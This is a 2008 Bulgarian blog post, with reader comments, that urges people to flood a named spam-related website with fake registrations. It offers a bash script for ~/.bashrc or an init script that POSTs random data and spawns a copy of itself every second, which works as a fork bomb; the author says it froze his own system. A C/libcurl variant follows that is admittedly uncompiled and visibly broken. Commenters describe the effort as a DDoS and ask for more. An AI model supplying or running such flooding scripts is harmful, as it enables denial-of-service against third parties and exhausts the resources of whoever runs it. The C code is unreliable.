• Jabber chat

  • Tags :: Тагове

  • « Новото спамерско извращение | Home | В очакване на July Morning »

    Да отвърнем на спама със спам!

    By admin | February 6, 2008

    Става въпрос да предишната статия. Още от древни времена хората знаят, че огъня се потушава с огън. Същата практика може да се използва и при спама. Моля, добавете този скрипт като линк във вашия ~/.bashrc файл! (Може и като init скрипт, но ще е доста брутално):

    #!/bin/bash
    while [ 1 ]; do
    curl -d “grad=$RANDOM&buton=Създай” prize.zzl.org/add_forest.php
    $HOME/spam-forest.sh &
    sleep 1
    done

    Скрипта изпраща post заявка и регистрира случаен потребител. След това извиква същия скрипт в background. Това става на всяка една секунда. :D

    Промяна:

    Поради последните коментари, вероятно на windows потребители, реших да напиша подобен скрипт на C. Незнам дали ще работи. Не съм го компилирал, защото няма да мога да го използвам, тъй като съм баннат и не ми се играе с прокси-та. Може би ще успеете да го компилирате за Windows :) Докато пиша тези редове, установих, че съм забравил да напиша безкрайния цикъл. В този вид програмата ще се изпълни само един път. Ако някой ме изпревари, нека го постне в блога си или в code-bg.com ;) Първо ще си науча за теста по Електро техника, а после ще се занимавам с глупости.

    
    #include <stdio.h>
    
    #include <stdlib.h>
    
    #include <conio.h>
    
    #include <curl/curl.h> 
    
    
    int gen_randnum(void);
    
    
    void main(void)
    
    {
    
       int randnum=gen_randnum();
    
    
    curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, “grad”, CURLFORM_COPYCONTENTS, randnum, CURLFORM_END);
    
    
        CURL* spamcurl = curl_easy_init();
    
        curl_easy_setopt(spamcurl, CURLOPT_USERAGENT, “Връщаме ви спама ;)”);
    
        curl_easy_setopt(spamcurl, CURLOPT_URL, “http://prize.zzl.org/add_forest.php”);
    
        curl_easy_setopt(spamcurl, CURLOPT_VERBOSE, 1);
    
        curl_easy_setopt(spamcurl, CURLOPT_HTTPPOST, formpost);
    
    
    }
    
    
    int gen_randnum(void)
    
    {
    
       int n;
    
       n=random(1000000000000000);
    
       return(n);
    
    }

    И още нещо: В блога на Цветан Дичев нещата са обяснени много добре.

    Topics: Впечатление, Programming |

    18 Responses to “Да отвърнем на спама със спам!”

    1. [Deathmaster] Says:
      February 6th, 2008 at 7:50 pm

      Та тоест по този начин какво точно става с “противниковия” сайт? Пълниш го с потребители до дупка?

    2. Pavel Says:
      February 6th, 2008 at 9:58 pm

      Така написан скрипта мисля, че е доста опасен. Може да блокира ядрото така заради раздвояването на процесите. Може би е добре да махнеш “$HOME/spam-forest.sh &”

    3. admin Says:
      February 6th, 2008 at 11:01 pm

      Ами да, прав си. Тествах го. Ядрото блокира! Нищо не можех да включа. Започна да ми изписва нещо като “Too many opened files on the system” :D

    4. admin Says:
      February 6th, 2008 at 11:02 pm

      [Deathmaster] - Точно така!

    5. SMOKEN Says:
      February 6th, 2008 at 11:40 pm

      ЯКОоОоОоОо!!!!

    6. HuK Says:
      February 7th, 2008 at 3:08 am

      Направо ме разби :) не съм се смял отдавна така!

    7. Антиспам, анти prize.zzl.org | nplus` blog Says:
      February 7th, 2008 at 9:07 pm

      […] написа скрипт за DDoS на спамърската игра. Ето моята работеща […]

    8. admin Says:
      February 7th, 2008 at 9:58 pm

      btw, аз вече съм баннат!

    9. Кирил Владимиров Says:
      February 8th, 2008 at 9:46 pm

      Хъх…аз още си ги потя и интересното е, че за разлика от тебе и Nplus аз още не съм отнесъл бан.
      Държа да отбележа, че вчера постигнахме успех. Реговете не действаха за не кратко време!
      Да продължаваме!!!

    10. Кажете НЕ, на подлият СПАМ!!! | Личният блог на Кирил Владимиров Says:
      February 8th, 2008 at 10:08 pm

      […] Ениак доста добре решение за борба с тея боклуци с идеята “Да отвърнем на спама със спам!” […]

    11. admin Says:
      February 8th, 2008 at 11:32 pm

      Може да е грубо, но ми омръзна. Тяхното не е по- малка простотия :)

    12. bullhead Says:
      February 9th, 2008 at 11:15 am

      а…някой ще ми обясни ли подробно какво е “Моля, добавете този скрипт като линк във вашия ~/.bashrc файл! (Може и като init скрипт, но ще е доста брутално)” защото съм начинаещ(дори по-зле) но навит да им правя мръсно на спамерите! :)

    13. Myxa Says:
      February 9th, 2008 at 11:50 am

      И аз искам да се изгавря с тия мърши. ще обясните ли малко какво е ~/.bashrc файл???10x за сега :)

    14. admin Says:
      February 9th, 2008 at 1:18 pm

      Това е скрипт, който се изпълнява при стартъп на потребител в Линукс. init скриптовете се изпълняват при стартиране на системата.

    15. coldflames Says:
      February 21st, 2008 at 9:59 am

      Само под линукс ли работи?
      И аз съм много ентусиаст да се борим срещу този тип сайтове! Те никнат като гъби! Ако по обясните как се включвам и аз!

    16. admin Says:
      February 21st, 2008 at 7:44 pm

      Ами да, горе съм дописал статията. Само за линукс е, но може да си напише по- свястно от моя вариант - на С с cURL, но не съм привърженик на продуктите на голямата компания..

    17. mafiqta - Да отвърнем на спама със спам! Says:
      March 20th, 2008 at 9:01 pm

      […] Това е продължение на “Да отвърнем на спама със спам!“ […]

    18. marto Says:
      June 5th, 2008 at 12:52 am

      може ли некво такова кодче за windows плс исакм да им го такавам на ти едни и награ неми пртиха :( не помна саита исакм да го варан на секи соит които вида такъв плс напиши нещо такова

    Comments